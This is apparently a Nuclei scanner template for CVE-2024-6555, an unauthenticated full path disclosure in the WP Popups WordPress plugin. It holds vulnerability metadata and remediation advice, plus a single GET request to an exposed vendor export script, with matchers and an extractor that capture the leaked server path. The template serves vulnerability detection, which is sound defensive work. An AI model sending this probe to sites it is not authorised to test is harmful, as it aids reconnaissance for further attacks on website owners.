id: CVE-2024-6555

info:
  name: WP Popups - Information Disclosure
  author: theamanrawat
  severity: medium
  description: |
    WP Popups - WordPress Popup builder plugin for WordPress contains a full path disclosure caused by using mobiledetect without access restrictions, letting unauthenticated attackers retrieve server paths, exploit requires no specific conditions.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  remediation: |
    Update to version 2.2.0.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-popups-lite/wp-popups-wordpress-popup-builder-2201-unauthenticated-full-path-disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6555
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3115849%40wp-popups-lite&new=3115849%40wp-popups-lite&sfp_email=&sfph_mail=
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/578892f2-9841-4493-8445-61b79feb4764?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6555
    epss-score: 0.00927
    epss-percentile: 0.56996
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/wp-popups-lite/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,wp-popups-lite,fpd

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wp-popups-lite/src/vendor/mobiledetect/mobiledetectlib/export/exportToJSON.php'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '/[a-zA-Z0-9_\-/]+/wp-content/plugins/wp-popups-lite/src/vendor/mobiledetect/mobiledetectlib/Mobile_Detect\.json'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - "Done. Check (/.+?/wp-content/plugins/wp-popups-lite/src/vendor/mobiledetect/mobiledetectlib/Mobile_Detect.json) file."
# digest: 490a0046304402206f58ea5e1d8a5af64a11f7d7e24afed3041014d23743649e699182b1731cc5a80220258c0fd9a136c7e0dc6c25006e63167cfeb56a78696f14c99d3dc8dc82dc3535:922c64590222798bb761d5b6d8e72950